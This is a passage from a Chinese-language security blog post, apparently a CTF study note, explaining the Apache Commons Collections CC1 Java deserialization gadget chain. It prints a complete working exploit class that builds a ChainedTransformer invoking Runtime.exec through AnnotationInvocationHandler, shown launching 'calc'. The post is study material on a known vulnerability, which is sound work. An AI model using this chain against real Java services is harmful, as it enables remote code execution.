if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy))<\/code><\/pre>\n\u6211\u4eec\u8981\u8ba9\u91cc\u9762\u7684\u4e24\u4e2a\u6761\u4ef6\u90fd\u4e3a\u5047\uff0c\u53caMap<\/strong>\u7684\u952e\u503c\u4e0d\u80fd\u4e3a\u89c1\u9762\u5bf9\u5e94\u7c7b\u578b\u6216\u5176\u5b50\u7c7b\u578b\u7684\u5b9e\u4f8b\u7684\u5b9e\u4f8b\uff0c\u540c\u65f6\u4e0d\u80fd\u4e3aExceptionProxy<\/code> \u7c7b\u6216\u5176\u5b50\u7c7b\u7684\u5b9e\u4f8b<\/p>\n\u6211\u4eec\u518d\u6765\u770b\u4e0bAnnotationInvocationHandler\u7c7b<\/strong>\u6784\u9020\u65b9\u6cd5\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {\n Class<?>[] superInterfaces = type.getInterfaces();\n if (!type.isAnnotation() ||\n superInterfaces.length != 1 ||\n superInterfaces[0] != java.lang.annotation.Annotation.class)\n throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");\n this.type = type;\n this.memberValues = memberValues;\n }<\/code><\/pre>\n\u8be5\u6784\u9020\u65b9\u6cd5\u9700\u8981\u63a5\u6536\u4e24\u4e2a\u53c2\u6570 Annotation\u7c7b\u6216\u5176\u5b50\u7c7b\u7684class\u5bf9\u8c61 <\/strong> \u548c Map<String, Object><\/strong>\u5bf9\u8c61<\/p>\n\u6211\u4eec\u53d1\u73b0\u6784\u9020\u65b9\u6cd5\u548c\u7c7b\u90fd\u79c1\u6709\u7684\uff0c\u9700\u8981\u901a\u8fc7\u53cd\u5c04\u83b7\u5f97<\/p>\n
\u7136\u540e\u6211\u4eec\u627e\u5230Annotation\u7c7b\u7684\u5b50\u7c7bTarget<\/strong>\u7c7b\u4e2d\u542b\u6709\u4e00\u4e2a\u540d\u4e3a value<\/strong> \u7684\u65b9\u6cd5\uff0c\u5b9a\u4e49\u5982\u4e0b<\/p>\n\/\/Retention.java\n@Documented\n@Retention(RetentionPolicy.RUNTIME)\n@Target(ElementType.ANNOTATION_TYPE)\npublic @interface Retention {\n RetentionPolicy value();\n}<\/code><\/pre>\n\u8fd9\u6837\u6211\u4eec\u4f20\u5165\u6709\u4e2a\u542b\u6709\u952e\u540d\u4e3a value \u7684Map\u5373\u53ef\u5927\u529f\u544a\u6210<\/p>\n
\u5b8c\u6574cc\u94fe1 exp<\/h1>\n
\u5982\u4e0b\uff1a<\/p>\n
package org.example;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.io.IOException;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.annotation.Target;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.InvocationTargetException;\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class Serialcc {\n public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {\n\n \/\/\u5b9a\u4e49\u4e00\u7cfb\u5217Transformer\u5bf9\u8c61,\u7ec4\u6210\u4e00\u4e2a\u53d8\u6362\u94fe\n Transformer[] transformers = new Transformer[]{\n \/\/\u8fd4\u56deRuntime.class\n new ConstantTransformer(Runtime.class),\n \/\/\u901a\u8fc7\u53cd\u5c04\u8c03\u7528getRuntime()\u65b9\u6cd5\u83b7\u53d6Runtime\u5bf9\u8c61\n new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),\n \/\/\u901a\u8fc7\u53cd\u5c04\u8c03\u7528invoke()\u65b9\u6cd5\n new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),\n \/\/\u901a\u8fc7\u53cd\u5c04\u8c03\u7528exec()\u65b9\u6cd5\u542f\u52a8\u8ba1\u7b97\u5668\n new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})\n };\n\n \/\/\u5c06\u591a\u4e2aTransformer\u5bf9\u8c61\u7ec4\u5408\u6210\u4e00\u4e2a\u94fe\n ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);\n\n HashMap<Object,Object> hash = new HashMap<>();\n \/\/\u7ed9HashMap\u6dfb\u52a0\u4e00\u4e2a\u952e\u503c\u5bf9\n hash.put("value",'b');\n \/\/\u4f7f\u7528chainedTransformer\u88c5\u9970HashMap\u751f\u6210\u65b0\u7684Map decorate\n Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);\n\n \/\/\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6AnnotationInvocationHandler\u7c7b\u7684\u6784\u9020\u65b9\u6cd5\n Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");\n Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);\n \/\/\u8bbe\u7f6e\u6784\u9020\u65b9\u6cd5\u4e3a\u53ef\u8bbf\u95ee\u7684\n constructor.setAccessible(true);\n \/\/\u901a\u8fc7\u53cd\u5c04\u8c03\u7528\u6784\u9020\u65b9\u6cd5,\u4f20\u5165Target.class\u548cdecorate\u53c2\u6570,\u521b\u5efa\u4ee3\u7406\u5bf9\u8c61o\n Object o = constructor.newInstance(Target.class, decorate);\n\n serialize(o); \/\/\u5b9a\u4e49\u4e86\u4e00\u4e2a\u5e8f\u5217\u5316\u7684\u65b9\u6cd5\n unserialize("1.bin"); \/\/\u5b9a\u4e49\u4e86\u4e00\u4e2a\u53cd\u5e8f\u5217\u5316\u7684\u65b9\u6cd5\n }\n\n public static void serialize(Object obj) throws IOException {\n ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));\n out.writeObject(obj);\n }\n\n public static void unserialize(String filename) throws IOException, ClassNotFoundException {\n ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));\n out.readObject();\n }\n\n}<\/code><\/pre>\n\u8fd0\u884c\u6210\u529f\u5f39\u51fa\u8ba1\u7b97\u5668<\/p>\n
<\/div><\/p>\n","protected":false},"excerpt":{"rendered":"
Commons Collections\uff1aJava\u4e2d\u6709\u4e00\u4e2aCollections\u5305\uff0c\u5185\u90e8\u5c01\u88c5\u4e86\u8bb8\u591a\u65b9\u6cd5\u7528\u6765\u5bf9\u96c6\u5408\u8fdb\u884c\u5904\u7406\uff0cCommonsCollections\u5219\u662f\u5bf9Collections\u8fdb\u884c\u4e86\u8865\u5145\uff0c\u5b8c\u5584\u4e86\u66f4\u591a\u5bf9\u96c6\u5408\u5904\u7406\u7684\u65b9\u6cd5\uff0c\u5927\u5927\u63d0\u9ad8\u4e86\u6027\u80fd\u3002<\/p>\n","protected":false},"author":1,"featured_media":452,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[39,22,42],"tags":[15,40,26],"class_list":["post-448","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-java","category-webs","category-42","tag-ctf","tag-java","tag-web"],"_links":{"self":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/448","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/comments?post=448"}],"version-history":[{"count":2,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/448\/revisions"}],"predecessor-version":[{"id":456,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/448\/revisions\/456"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media\/452"}],"wp:attachment":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media?parent=448"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/categories?post=448"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/tags?post=448"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"image-20240120015425243\"](\"https:\/\/vip.helloimg.com\/images\/2024\/01\/20\/oIUNDT.png\")
<\/div><\/p>\n![\"image-20240120015659623\"](\"https:\/\/vip.helloimg.com\/images\/2024\/01\/20\/oIUpG1.png\")
<\/div><\/p>\n![\"image-20240120015840574\"](\"https:\/\/vip.helloimg.com\/images\/2024\/01\/20\/oIUz4K.png\")
<\/div><\/p>\n![\"image-20240120020401798\"](\"https:\/\/vip.helloimg.com\/images\/2024\/01\/20\/oIUDjo.png\")
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